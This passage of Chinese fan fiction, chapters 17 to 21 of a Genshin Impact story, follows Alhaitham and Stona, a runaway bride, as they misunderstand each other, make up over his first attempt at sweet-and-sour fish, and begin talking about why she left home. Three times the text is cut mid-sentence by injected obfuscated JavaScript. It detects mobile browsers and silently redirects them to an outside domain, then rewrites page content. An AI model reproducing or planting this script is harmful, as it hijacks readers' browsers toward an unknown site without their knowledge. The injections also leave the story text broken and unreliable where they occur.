“没关系,”艾尔海森眨眨眼睛,“我不困。” 斯托娜觉得奇怪,既然今天没有工作安排,为什么不休息呢? “我要出门了,不会打扰你休息的,既然你累了,就去睡一会儿吧。”斯托娜说着站起身,她的视线落在艾尔海森手中的咖啡上。 明明需要补充睡眠,为什么还要喝咖啡呢? 她想不明白,只好归结为喝咖啡是艾尔海森的日常习惯。 “我不是因为你在才不去休息的,”艾尔海森说,“我只是……”他似乎想再说点什么,但没能组织好语言,最终放弃:“我去休息。” 他起身往卧室的方向走。 斯托娜则是出门上班。 今天玩具摊位的生意很好,摊主一个人忙不过来,即使和斯托娜两个人一起也手忙脚乱,客人走了一批又来一批,大多都是游客。 很多客人都带着孩子,小孩子看到可爱的木雕纷纷要求大人掏钱买下,虽然大多数孩子都还算安静,但也有几个孩子比较活泼,每次说话都像在惊声尖叫,一个上午过去,斯托娜的耳膜有些疼。 下午晚些时候,她到委托人家中接走了小狗,开始每天的遛狗任务。 委托人今天依旧不在家,和往常一样,他给斯托娜留了字条,字条上说他的论文马上就要写完了,感谢斯托娜这段时间对他家宝贝小狗的照顾。 委托人的小狗就叫“小狗”,一开始斯托娜还以为小狗没有名字,但委托人笑着解释说,要的就是这个效果。 “给小狗起名叫‘小狗’,所以我在向其他人介绍,这是我家‘小狗’的时候,其他人都会接着问它叫什么名字,但我已经说过它的名字叫‘小狗’了。” 斯托娜不是很明白对方的幽默感,但还是配合地笑了笑。 牵着小狗走在须弥城中,斯托娜脚步轻快。 拆掉石膏之后走路方便了许多,她已经几乎感觉不到腿部的不适了。 因为今天是拆石膏的第一天,斯托娜心情很好,再加上不想过早回去打扰艾尔海森休息,所以斯托娜比往常多走了一段路,回家的时候天色已经有些晚了。 客厅里没有人,家里很安静,斯托娜放缓脚步穿过玄关,猜想艾尔海森大概还在睡。 她带上钓具正要悄悄离开的时候,对面书房的门开了,艾尔海森从书房里走了出来。 18. 第 18 章 “我以为你在卧室,”斯托娜说,“你……休息得怎么样?” “还不错,我刚醒,到书房来找一本书。” 但艾尔海森的脸色看起来比早上的时候更差了,不像是睡了一天刚醒的样子,倒像是看了一天书,或是写了一整天论文,或是连续开了四场大贤者推举会议。 他们一起去餐馆吃饭,饭后艾尔海森拒绝了斯托娜要他回家休息的建议,陪她一起去码头钓鱼。 吃饭的时候艾尔海森的话很少,钓鱼的时候他甚至直接睡着了。 斯托娜以为艾尔海森是工作太累导致晕厥,被他吓了一跳,丢下钓竿试图把他叫醒。 艾尔海森睁开眼睛后反倒是被斯托娜吓了一跳的样子,他倒吸一口气,拉开了两人之间的距离。 斯托娜慌乱之中没有在意对方反常的举止,急忙问道:“没事吧?!是不是哪里不舒服?要不要去医院?” 艾尔海森很快恢复了平静,他若无其事地说:“没什么,只是睡着了,做了噩梦。” “睡着了?” 斯托娜不相信一个睡了一天的人会在钓鱼的时候坐着就睡着。 艾尔海森今天白天的时候一定没有休息。 在确定艾尔海森刚才的确只是睡着了而不是昏迷之后,斯托娜用不容商量的语气说:“现在就回去。” 他们收拾好了钓具,离开港口回到家里。艾尔海森习惯性地要煮咖啡,斯托娜上前拿走了他的咖啡杯。 “睡前喝咖啡会睡不着的,还是改喝牛奶吧。” 她从冰箱里找出牛奶,匆匆倒了一杯,递给艾尔海森。 艾尔海森却没有接,而是用一种有点惊讶的眼神看着她。 “就算这样看着我,我也不会再让你喝咖啡了。试一下吧,喝牛奶真的有助睡眠。” 斯托娜把牛奶递给对方,艾尔海森接过,但没拿稳,玻璃杯从他手中滑落,摔碎在地上。 “对不起!我马上收拾!”斯托娜蹲下身捡拾玻璃碎片,艾尔海森阻止了她:“是我的错,让我来吧。” 两个人互相道歉,收拾了一地狼藉。 斯托娜仍然不放弃,她又给艾尔海森倒了一杯牛奶,看着对方喝掉。 艾尔海森似乎不喜欢牛奶,他喝得很勉强,但总归是喝光了。 斯托娜看着他把牛奶都喝光,心里疑惑对方到底是怎么了。 “刚才做了什么噩梦?”艾尔海森放下杯子时,斯托娜开口问道。 艾尔海森明显愣了一下,说:“忘记了。” “你……是不是被噩梦吓到了?” 艾尔海森顿了顿,然后摇头,盯着空玻璃杯:“没有,只是有点累了。” “累了就去休息嘛,难道你是因为还有工作要忙,所以才不想休息?”斯托娜问。 “的确还有些工作……”艾尔海森继续盯着玻璃杯,没有看她。 “可是你早上不是说工作都忙完了吗?如果今天你没去教令院的话,应该不会有新的工作要做才对吧?”斯托娜说。 “是之前的工作出了一点问题。” 艾尔海森说得很模糊,这很不艾尔海森,因为他说话一向简练直接。 斯托娜注意到对方从刚才起就一直盯着玻璃杯,没有看她。换句话说,艾尔海森好像不想看到她。 产生了这个怀疑之后,斯托娜决定验证一下自己的猜测正确与否。 她往艾尔海森的方向靠近,拿走了桌上的玻璃杯。 艾尔海森的视线并没有随着玻璃杯移动,他改为看着玻璃杯移动之前的位置,没有看向她。 “艾尔海森,”斯托娜说,“你为什么不看我?” 艾尔海森这才有些不情愿地把目光落在她身上,但在看了她的眼睛一会儿之后,他就移开了视线。 斯托娜意识到,对方的反常行为,似乎和她有关。 艾尔海森明显有心事,但斯托娜询问多次后,他仍然不愿意把烦恼说出来。 斯托娜原本以为,这是因为艾尔海森平时就不习惯向朋友倾诉烦恼,但现在看来,对方可能只是不想向她倾诉烦恼。 是因为她不想跟他聊自己逃婚的事,所以他也拒绝告诉她他的心事吗? 说不定艾尔海森是为了这些年来她寄给他的那些语气冷淡的信而生气,只是出于礼貌,或是看她可怜,才建议她搬过来一起住。 他还在生气,所以不想看到她,不想告诉她他到底在烦恼什么。 “对不起,”斯托娜说,“如果你是因为那些信的事而不满的话,我很抱歉。我不是个称职的朋友。之前我骗了你,所以在你心里,我大概也不是个值得信任的朋友。” 艾尔海森没有否定,他只是看着她,什么也没有说。 “但如果你不希望我把你的烦恼说出去,我一定会守口如瓶的,你可以相信我。”斯托娜往前走了一步,占据了艾尔海森的大部分视野:“你真的不需要聊聊吗?关于你最近的状态?” 艾尔海森别无选择,只能看着她。 几秒钟后,他再次刻意地移开了目光。 “我真的没事。” 斯托娜的心沉了下去。 这些天来她忙着自己的事,忽略了艾尔海森的感受,原来他对她是这样的看法,连几秒钟的对视都做不到。 斯托娜低下头:“如果我的存在让你这么不舒服的话,我明天就可以搬出去。” 艾尔海森的目光重新落在她身上。 “为什么——不,我不是这个意思,不管你刚才得出了什么结论,都不是正确结论。” “不是吗?那正确的结论到底是什么?”斯托娜索性把心中的疑问全部说了出来,“我们只是十几年前有过一点交情而已,再加上这十几年来的几封聊胜于无的信件,除此之外再无其他。你已经帮了我足够多了,不需要再为了多年前的事情耿耿于怀,这一点都不像你。我认识的那个艾尔海森,喜欢谁、讨厌谁都不会掩饰,而不是像现在这样——” 她的话戛然而止。 现在这样是怎样呢?对方其实也没有做什么,只不过是一直回避她的关心而已,如果说他只是注重隐私,她也无法反驳。 斯托娜突然意识到自己的愤怒很没有道理,她根本没资格也没理由对对方生气。 “对不起,”这是今天她的第三次道歉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118089|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我很抱歉,我也不知道是怎么了,我……总之,我不应该说刚才那些话,是我太自大了。晚安。” 最后的“晚安”显得尤为突兀,但斯托娜急于结束这场由她引发的单方面的争吵,而道晚安是结束对话最直接的办法。 但艾尔海森还不想结束对话。 “斯托娜。” 斯托娜停下脚步,但没有转身。 “我并不讨厌你,你也没有错。是我的错。”艾尔海森在她身后说道。 斯托娜现在不想去思考到底是谁的错,她只想躲开这个尴尬的局面。 “以后钓鱼的事我自己去做就好,你不用勉强。晚安。”斯托娜道了第二次晚安。 斯托娜离开客厅之后,艾尔海森把牛奶放回冰箱,带着一杯咖啡回到了卧室。 这些天他确实过得很混乱,全都是拜自己混乱的梦境所赐。 在此之前他只是对梦境不感兴趣,因为梦境毫无逻辑可言,而且都是潜意识的碎片,并没有什么值得研究的新东西。 但被梦境折磨了一段时间之后,他对梦的好感已经从零跌至零下。 今晚钓鱼的时候他实在太困,竟然睡着了,梦就是在这个时候趁虚而入,打扰了他的睡眠。 梦里的场景是他熟悉的家,出场人物一如往常,和其他梦境里的一样,是他和斯托娜。 斯托娜把咖啡杯从面前推开,皱着眉说自己不喜欢咖啡,所以他打开冰箱找牛奶。 找到牛奶后,斯托娜说这些牛奶太少了,不够用,下次出门的时候要多买一些。 接下来的画面就比较露骨了,和之前那个与蜂蜜有关的梦比起来要更加露骨,哪怕只是回想梦里的画面都会让艾尔海森无法直视现实中斯托娜的眼睛,而就算用文字进行描述,这些文字也会被教令院规定为“年满二十岁才可以阅读”。 说真的,如果他只是做了个噩梦的话,醒来的时候还不至于像刚才那么慌乱,斯托娜递给他牛奶的时候,他也不会因为意识恍惚、以为自己还在梦里而手滑没拿稳玻璃杯。 所以当斯托娜以为他是因为这些年来她寄给他的那些冷淡的信件而生气的时候,艾尔海森并没有否定,因为这个理由至少比他把梦境的内容说出来要好得多。 但他没想到斯托娜会以为他讨厌她。 显然这段时间他一直忙着和自己混乱的情感周旋,忽略了斯托娜的感受。 斯托娜孤身一人来到须弥,她不是来旅行,而是从家里逃婚出来,她的父母和未婚夫现在大概还在四处寻找她。 在这样的处境下,自己的种种反常行为会被没有安全感的斯托娜误以为是他讨厌她,这的确是比较合理的逻辑推理。 这都是他的错。 艾尔海森犹豫了几分钟要不要去敲对方卧室的门道歉,但是他认为即使道歉也不会有用。 更何况现在是晚上,他对于处在入睡前几小时的自己并不信任。安全起见,还是等天亮之后、至少是情绪不像现在这样混乱的时候再道歉吧。 艾尔海森开始觉得与斯托娜住在一起是个错误。 怎样才能说服斯托娜住在这里、他搬出去冷静一下呢? 19. 第 19 章 第二天早上,斯托娜早早起床,半是为了避开艾尔海森,半是为了早些赶去玩具摊位为摊主分忧。 须弥的旅游业比较发达,最近大概是又到了旅游旺季,须弥城中的游客比平时还要多,所以摊主的生意十分火爆,物美价廉的兰那罗小木雕供不应求,预订的顾客名单越写越长,摊主整天埋头雕刻,接待顾客的重任就落到了斯托娜身上。 摊主希望斯托娜可以把在摊位的兼职改为全职,工资翻倍,并且如果斯托娜愿意的话,她的一日三餐都由摊主出资。 这个条件对于斯托娜来说十分诱人,不过她还接了帮委托人遛狗的委托,没办法在玩具摊位全职,只能遗憾拒绝。 被拒绝之后,摊主倒也没有失望太久,而是选择再招一个兼职员工,两名兼职员工每人每天负责半天,加起来就相当于有一个全职员工了。 中午斯托娜留在摊位上和摊主一起吃了午饭,之后她没有回家,而是直接到委托人家中接走了小狗,带小狗在须弥城附近散步。 斯托娜牵着小狗走了很久,因为不知道回去之后该怎么面对艾尔海森,她不想太早回去,而是和小狗绕着须弥城走了一圈又一圈。 走到最后,小狗已经完全不像刚出门时那么活泼,整只狗像霜打的日落果一样蔫了。 小狗已经累了,所以最后一段路是斯托娜抱着它走完的。 抱着小狗站在委托人家门口,斯托娜正要找钥匙开门,门忽然自己开了,委托人喜气洋洋的脸出现在门口。 “啊,小狗!啊,斯托娜小姐!啊,世界!世界真美好!”委托人张开双臂,给自己小狗来了个大大的拥抱,又给了斯托娜一个大大的拥抱,最后他张开双臂,好像要给世界一个大大的拥抱。 但世界太大无法拥抱,所以他只是热情地抱了抱自己。 “我的论文写完了!写完了!可恶!终于写完了!我等这一天已经等了太久!啊,原来写完论文后的世界是彩色的,花是香的,草是绿的,鸟鸣是清脆婉转的,食物的味道是可口的!我爱这个世界!” 委托人说完又给了自己一个大大的拥抱。 斯托娜有些惊讶。她最开始接下这个委托的时候和对方见了一面,对方告诉了她一些关于照顾小狗的注意事项。 那个时候,委托人面容憔悴,说话时气息虚浮,完全不像现在这样活泼,话也比现在少得多。 看来写论文真的很累啊。 “谢谢你帮我照顾小狗,”委托人拉住斯托娜的手用力晃了晃,“小狗很感谢你,我也很感谢你!这是酬金,请收好!” 委托人的激动喜悦之情溢于言表,斯托娜的心情也不知不觉受到对方的感染,变得轻快起来。 不过当她与小狗和委托人道别、往艾尔海森的家走去的时候,斯托娜的心情逐渐沉重起来。 她站在门口做了好一会儿的心理建设,才鼓起勇气用钥匙打开了门。 客厅里没有人,书房和卧室的门都关着,斯托娜分别敲了书房和艾尔海森卧室的房门,都没有回应。 家里静悄悄的,艾尔海森不在家。 确定了这个事实之后,斯托娜松了一口气,紧接着又不安起来。 她站在客厅沙发旁,有些手足无措。 视线不经意扫过身旁的置物架,被摆放在置物架最高层的兰那罗木雕吸引了斯托娜的注意。 这是她送给艾尔海森的。 斯托娜把自己的兰那罗木雕从卧室里拿出来,然后把两个小小的兰那罗木雕放在一起。 她送给艾尔海森的木雕很精致,她的那个因为是摊主雕刻的试验品,所以比较粗糙。 两个木雕并排靠在一起,看上去就像是她和艾尔海森两个人的翻版。她,毋庸置疑,当然是做工粗糙的那一个。 昨天晚上自己实在是太过分了,说话的时候根本没有思考。 就算艾尔海森有心事不告诉她又怎么样呢? 他们的关系本来就没有好到可以说这种事吧,而且明明她也没有把自己的烦恼说出来,之前还欺骗对方说自己失忆…… 如果他们两个中有一个人有资格生气,这个人也应该是艾尔海森,而不是她。 斯托娜把木雕放回置物架,叹了口气。 虽然昨晚已经道过歉了,但果然还是再正式道歉一次比较好。 斯托娜在客厅等了一会儿,不过艾尔海森没有回来。 她不知道对方什么时候回来,所以等了几分钟后,斯托娜决定先去港口钓鱼,等今天晚上再向艾尔海森正式道歉。 外面的天色已经暗了下来,斯托娜带着钓具来到须弥城的港口,在之前钓鱼的地方停了下来,把鱼饵挂上钓竿,把钓竿抛了出去。 钓鱼的时候,斯托娜一直在走神,考虑该怎么向艾尔海森道歉,钓到的鱼她看也不看就直接放进了桶里。 大概过了半小时之后,艾尔海森的声音忽然从她身后响起:“听说在距离这里二百米的位置钓鱼,钓到暮云角鲀的几率要高百分之五左右。” 斯托娜回过头,尽量让自己的声音听起来很平静:“谢谢你的提醒,但我昨天说的是认真的,你不需要陪我钓鱼。” “我只是路过,并没有带钓具。”艾尔海森说。 他的确没带。 “那么请问你大晚上路过港口是为了做什么事?”斯托娜问。 “买牛奶。家里的牛奶快喝完了。” “好吧,祝你买牛奶顺利。” “谢谢。” 艾尔海森却没离开,他来到斯托娜身边,看了看水桶里的鱼,说:“这么多花鳉,做糖醋鱼应该足够了。” “糖醋鱼是什么?须弥特色料理吗?” “不是,是璃月菜,可以简单理解为是把鱼炸好之后淋上糖醋汁,我认为称之为甜品也不为过。” 甜品……听起来应该挺好吃的。 “可那是璃月菜,须弥的餐馆会供应糖醋鱼吗?” 艾尔海森说:“据我所知,没有。不过我可以做。” 斯托娜看着他,就好像他刚刚说了什么特别艰深晦涩的哲学问题。 艾尔海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118090|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 森不会做饭,她也不会,这两个事实他们两个都心知肚明。 但是艾尔海森说他可以做璃月菜糖醋鱼。 “真的假的?” “只要掌握了做法,再把原材料采购齐全,烹饪并不比写论文困难。”艾尔海森说。 斯托娜回忆起了早些时候小狗的主人写完论文后那仿佛做了十年冤狱终于无罪释放的样子。 嗯,如果把烹饪比作写论文的话,烹饪对大多数人来说还是很困难的吧? 但说这话的是艾尔海森,一个并不认为写论文是什么难事的艾尔海森。 斯托娜看了一眼水桶里的鱼,问:“所以你是想……今晚就做吗?” 艾尔海森点点头:“我是这样考虑的,当然,前提是你今晚没有其他安排。” 她当然没有其他安排,毕竟她只是个从蒙德千里迢迢逃婚来到须弥的一团糟,没什么朋友,也没什么钱,晚上除了在卧室里努力研究那本艾尔海森借给她的《机关图解》之外,她还能有什么安排呢? 而且,就算她今天晚上真的已经有了别的安排,她也会推掉。 艾尔海森竟然要做饭,这太超现实了,她绝对不能错过。 今晚斯托娜已经钓到了不少花鳉,做他们两人份的糖醋鱼已经绰绰有余。 钓暮云角鲀的委托就暂且搁置,斯托娜匆匆收好钓具,和艾尔海森一起回家。 斯托娜忽然想起了什么,说:“对了,你不是出来买牛奶的吗?” 艾尔海森愣了一下。 “其实你出来不是为了买牛奶,而是专程来找我的吧?” 艾尔海森咳嗽一声:“不过家里的牛奶的确没剩多少了,回去的路上顺便买一些吧。” 带着新钓到的鱼和新买的牛奶回到家,斯托娜把牛奶放进冰箱,发现厨房里多了很多调味品,还有胡萝卜、蘑菇等食材,今天下午她回来的时候,厨房里还没有这些东西。 所以今天她回来的时候发现艾尔海森不在,是因为他忙着采购这些原材料? 斯托娜把她观察到的线索梳理了一下。 首先,艾尔海森今天特意买了制作糖醋鱼的调味料和配菜,想必也已经学习了糖醋鱼的做法。 其次,艾尔海森主动到港口找到她,提议说钓到的鱼可以用来制作糖醋鱼,并且说糖醋鱼几乎可以算是一种甜品。 最后,艾尔海森对甜品并不偏爱,倒是她对甜品极为偏爱。 把以上三条线索汇聚到一起,不难得出结论,对方是为了她才决定制作糖醋鱼。 所以,艾尔海森这样做的原因又是什么?为了对昨晚的事表达歉意吗? 可是他明明没有错啊,错的是她才对! 就算要表达歉意,也应该是由她来。 但是她不会做糖醋鱼啊! 意识到这一点的斯托娜开始惶恐起来。 怎么办,她的道歉与糖醋鱼比起来岂不是太没诚意了吗? 她现在去学如何做菜还来得及吗? 来不及吧?不管怎么想都来不及吧?! 20. 第 20 章 斯托娜盯着手中的调味料瓶,大脑一片空白。 “接下来就交给我——你还好吧?”艾尔海森看了一眼她手中的调味料瓶,又看看她,没能根据有限的线索推测出斯托娜发生了什么事。 “我没事,”斯托娜放下装调味料的瓶子,感觉脸上的温度开始升高,“那个……我可以帮忙吗?” 艾尔海森本来要拒绝,但话未出口忽然改变了主意:“我认为我一个人可以胜任,但如果你想要帮忙的话,当然可以。” 斯托娜匆匆点头,问:“需要我做什么?” “可以的话,请帮忙清洗一下食材吧。” “当然可以。” 他们对对方都客气得有点过头,就好像他们两个都担心自己某句话可能会惹对方生气,所以每次开口前都字斟句酌,小心翼翼。 烹饪的时候不需要有太多交流,很快厨房里就陷入了尴尬的沉默。 斯托娜不知道是不是只有她自己感到尴尬,但她的确觉得很尴尬。为了打破沉默,她没话找话说:“这些鱼够吗?” 虽然艾尔海森在回家的路上就已经回答过这个问题,但他并没有不耐烦,而是说足够用了。 这个话题就这样结束了。 又过了一会儿,斯托娜才猛然意识到,她并不是什么忙也帮不上,至少她提供了食材啊,鱼是她钓的。 尽管如此,她的心里还是有些过意不去,想要道歉,又觉得现在不是合适的时机,连该怎么开口都不知道。 洗完食材之后她就帮不上什么忙了,只能在一旁看着。 等待的过程并不漫长,但因为斯托娜的心情比较复杂,所以难免有些坐立不安。 她注意到艾尔海森全程都没有看菜谱,这也不奇怪,他那么聪明,一定早就记住制作方法了。 新鲜出锅的糖醋汁浇在炸好备用的鱼块上,酸酸甜甜的香味弥漫在厨房里。 色泽漂亮的糖醋鱼像一份完成度百分之百的优秀论文,在灯光的映照下,暖色调的炸鱼块看起来的确很像是某种甜品。 有些料理往往是闻起来比尝起来要美味,但这道菜不一样,这道菜尝起来完全不会令人失望,与斯托娜根据它的香气所想象出来的味道一模一样,甚至比她想象得还要好吃! “这真的是你第一次做糖醋鱼吗?未免太厉害了吧?感觉很符合须弥人的口味,已经是可以开餐馆的程度了!” “谢谢夸奖。” “不,不是夸奖,只是实话实说而已,第一次就可以做得这么成功,说明你很有天赋啊!” “你喜欢就太好了,我想以后可以尝试做枫丹的甜品,自己制作甜品的话,对于甜度也可以自由把控,使其更符合个人的口味。” 艾尔海森的语气就像他在对自己论文中的内容进行进一步的扩展一样,让斯托娜立刻就相信如果他打算做枫丹甜品的话,一定也能完成得非常出色。 夜宵时间结束之后,到了洗碗时间。 “洗碗的事就交给我吧,这种事情我还是会的。” “还是让我来吧。” “不不不,就让我来吧,我可以的。” 艾尔海森犹豫了一下,提议说:“那……一起?” 于是两个人一起洗碗。斯托娜主要负责“洗”的部分,艾尔海森则负责把洗干净的碗碟擦干收好。 艾尔海森家里的碗碟都是比较常见的普通款,上面没有太多花纹。 斯托娜在洗碗的时候忽然好奇,艾尔海森不会做饭,那么他平时在家也用不到这些碗碟,不知道这些碗碟是不是也是他今天才买回来的。 这个话题比较安全,而且日常,问一问应该不会有问题。 斯托娜正要开口询问,站在旁边的艾尔海森却忽然说道:“对不起。” 他的道歉过于突兀,把斯托娜吓了一跳,手里的碗差点给摔了,好在她最后抓住了,才没酿成惨剧。 “抱歉,看来现在不是道歉的时机。”艾尔海森说。 看着手中完好无损的碗,斯托娜松了一口气:“没事,一会儿我们好好聊一聊吧。” “好。” 把碗碟收好之后,斯托娜和艾尔海森来到客厅,面对面坐下。 斯托娜率先开口:“很感谢你今天做的这一切,我很感激。但是你真的不需要向我道歉,应该道歉的是我才对。” “不,你不需要道歉,错的是我。”艾尔海森说。 斯托娜皱眉:“怎么会是你呢?就算你是为了安慰我,也没必要这样说啊。” “这些天教令院的工作比较麻烦,我心情有些不好,忽略了你的感受,是我的问题。” 斯托娜从对方大量的负罪感中提取出了小部分的有效信息:“所以果然是因为教令院的事吗?” 艾尔海森点点头:“因为事关机密,所以不能告诉你,甚至连“我正在负责这件机密事件”本身都应该保密。我不想对你说谎,又担心你多想,所以不知道该怎么跟你解释。” 原来是因为需要保密才不告诉她的,连他在负责这件事都不能说的话,其实艾尔海森现在已经是违反规定向她透露这个秘密了呀…… “对不起,我只是看你最近状态不太好,所以才——但都是我的错,很抱歉。我、我甚至还以为你是因为我对你有所隐瞒,所以才不够信任我,”斯托娜感到脸上的温度快速升高,“擅自用我自己的情况揣测你,实在是太丢脸了。” “不是的,我本来可以更好地处理这件事,是我考虑得不够全面。”艾尔海森仍然认为是他的过错。 斯托娜羞耻得已经快要哭出来了,她深吸一口气,说:“你不用安慰我,是我一直在给你添麻烦,如果当初我没有——” “不麻烦的,”艾尔海森立刻打断了她的话,“我之所以想跟你谈谈,也只是希望你不要多想,我并不是对你不满。所以,我希望你可以收回昨天晚上的话。” “昨天晚上我说的话?” 斯托娜回想了一下,她昨天晚上可是说了不少话,而且因为太过羞耻,她实在不愿意回想。 但她还是勉强回忆了一下。 ——但是没想明白艾尔海森想让她收回哪些话。 “我指的是钓鱼的事。”艾尔海森提醒道。 “钓鱼……你的意思是你想继续钓鱼?” 艾尔海森点点头:“另外,希望你不要搬走。虽然你昨晚并没有明确表示你想搬走,但我猜你应该有过这个打算。” 她的确有过。而且鉴于她的腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118091|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经好得差不多了,其实她不需要一定住在须弥城内。 遛狗的委托已经完成,如果玩具摊主可以让她把兼职改为全职的话,用不了多久,她应该就能付得起在须弥城外租房的租金了。 “可是两个人住在一起一定比你一个人的时候要麻烦——” “我说过我们是朋友,‘朋友’这种关系的特征之一就是可以彼此互相麻烦,所以你不需要有这样的顾虑。”艾尔海森说。 “虽然你这么说了,但一直以来都是我在麻烦你,并不是互相的啊。” 艾尔海森想了一会儿,说:“我可不可以理解为,如果我麻烦你的话,你就不想搬走了?” 这个角度斯托娜还真没想过。 她点点头:“大概?” 如果是互相麻烦的话,她留下来就是帮忙了。 艾尔海森似乎开始认真思考该怎么麻烦她。 几秒钟后,他找到了一件可以麻烦她的事。 “书房里的书有段时间没有整理过了,如果你愿意帮忙的话就太好了。” 整理书房,斯托娜在家的时候倒是经常做的,但须弥的纸质书都那么珍贵,艾尔海森书房里的书还有很多是他的父母和祖母的藏书,万一她不小心弄脏了或是损坏了可怎么办? “这么重要的事我不行的——” “可以拜托你帮忙整理书房吗?”艾尔海森又重复了一遍,“如果你拒绝的话,我会很沮丧的。” 虽然对方的语气里一点沮丧都没有,但是斯托娜犹豫了。 艾尔海森希望她帮忙,虽然怎么看都是对方为了让她安心才努力想出了一件事让她帮忙,但是…… “求你了。”艾尔海森平静地说。 “不需要卑微到这种程度啊!”斯托娜猛地站了起来,“我答应你就是了!” “谢谢。”艾尔海森的视线随着她的动作上移,他看着斯托娜的眼睛。 被吓到的斯托娜也看着他,刚才那句“求你了”不真实到像是幻听。 “……没关系,我会尽力的。” 斯托娜重新坐下。 “那么,我们现在和好了?”艾尔海森问。 “嗯,和好了。” 艾尔海森看了一眼表:“时候不早了,早些休息吧。晚安。” “等一下。”斯托娜说。 艾尔海森愣了一下,在开口之前停顿了一秒钟:“怎、怎么了?” “我……”斯托娜抬起头,直视对方的眼睛,“我有件事要告诉你。” 艾尔海森微微皱眉,仿佛想通过观察斯托娜的表情来推测她想说的是什么事。 “你要说的这件事应该跟我没有关系吧?”他问。 斯托娜想了想,然后给出了肯定的答案:“可以这么说。” 艾尔海森——不知道为什么——看上去松了一口气:“好吧,我会认真听。” 尽管艾尔海森的反应有点奇怪,但因为斯托娜接下来要说的是一件大事,而且她在推测其他人的行为方面可以说是并没有天赋,否则也不会认为艾尔海森最近的反常行为是因为讨厌她。 所以斯托娜没有特别在意艾尔海森的反应,她深吸一口气,把这些天来一直刻意回避的事情和盘托出。 21. 第 21 章 当斯托娜直视着艾尔海森的眼睛说“我有件事要告诉你”的时候,艾尔海森心里不知道第多少次警铃大作。 又一个在他的梦境里出现过的场面。 那个梦如果用文字描述出来的话,会被教令院标注为十八岁以下禁止阅读。 有那么一瞬间,艾尔海森真的很害怕斯托娜会像梦里那样向他走过来。 但好在这里不是梦境,现实的斯托娜只是单纯想跟他聊一聊,并没有其他举动。 不,这样说也不对,斯托娜提起的话题很严肃,用“只是”这个词来形容不够尊重对方。 总之,斯托娜开口说道:“我逃婚了。” 艾尔海森没什么太大的反应,他只是默默等她继续说下去。 “你应该已经猜到了吧?”斯托娜问。 “我的确猜想过这种可能。”艾尔海森没有隐瞒,如实说道。 他当然早就猜到了,斯托娜虽然没有艾尔海森那么聪明,但她对他还算了解,所以她知道对方已经推测出她这次忽然出现的原因。 “我……虽然要结婚了,但在我离开蒙德的时候,我连未婚夫长什么样子都不清楚,”斯托娜苦笑了一下,“我唯一一次见他也是纯属偶然,只是在街上擦肩而过,然后我听到有人喊他的名字。等我转身看的时候,只远远看到了对方的侧脸。” 斯托娜的父母并不是贵族出身,但他们显然对旧贵族的生活十分憧憬,所以从旧贵族的传统中沾染了许多不好的东西,这直接导致了斯托娜身在蒙德这样一个以自由闻名的城邦,却过着并不自由的生活。 “我其实并不在乎德文森先生——也就是我的未婚夫是个怎样的人,也并没有多么排斥和他结婚这件事。”斯托娜平静地说。 艾尔海森皱眉,显然在思考她的话:“既然如此,你为什么会逃婚?” “嗯……其实逃婚只是我离家的……怎么说呢……副产物?我的主要目的是离家出走。” 斯托娜的父母并不相爱,他们的婚姻只是出于“合适”这样的理由,而不是出于爱情。 斯托娜从小耳濡目染,所以她对婚姻生活并不憧憬,只当是利益往来;但也因为从小耳濡目染,所以即使她不认同父母的结合,却也做不到对此特别反感,同样也并不认为结婚对象必须是自己喜欢的人。 她不是必须要和自己喜欢的人结婚,婚姻生活也不是必须十分幸福——长期待在这样的家庭里,即使不愿习惯这样的想法,到最后也会习惯。 斯托娜对于“家庭温暖”这个词汇,可以说是非常陌生,因为她处于自己的家庭当中这么多年,感受到的温暖几乎可以忽略不计。 对斯托娜来说,她印象中的家庭并不是温馨的港湾,而是一群“合适”的人聚在一起互相折磨。 艾尔海森的父母在艾尔海森很小的时候就去世了,艾尔海森对他们几乎没有印象,斯托娜没有见过艾尔海森的父母,也没有见过艾尔海森的祖母,但祖母送给艾尔海森的那本书,虽然是一本机关图解,却饱含爱意,她在阅读的时候很明显能感受到。 祖母对艾尔海森的爱意凝固在了书籍中,时至今日,斯托娜身为一个局外人,都仍然能够感受到这份温暖。 艾尔海森和她的家庭情况是如此不同,斯托娜不确定自己说的这些对方能够理解,更不指望对方会认同她的观念,她只是把自己的真实情况说出来,至于艾尔海森对她的话会有什么反应,这不是她能决定的。 “但是,”艾尔海森开口说道,“如果你并非抱有‘必须和喜欢的人结婚’的执念,说明驱使你离开家的并不是婚约本身。那么导致你决定要反抗父母命令的契机是什么?” 对于艾尔海森提出的问题,斯托娜并不感到惊讶,他总是能抓住重点,这次也不例外。 她回答道:“是神之眼。促使我离开蒙德的契机是我的神之眼。” 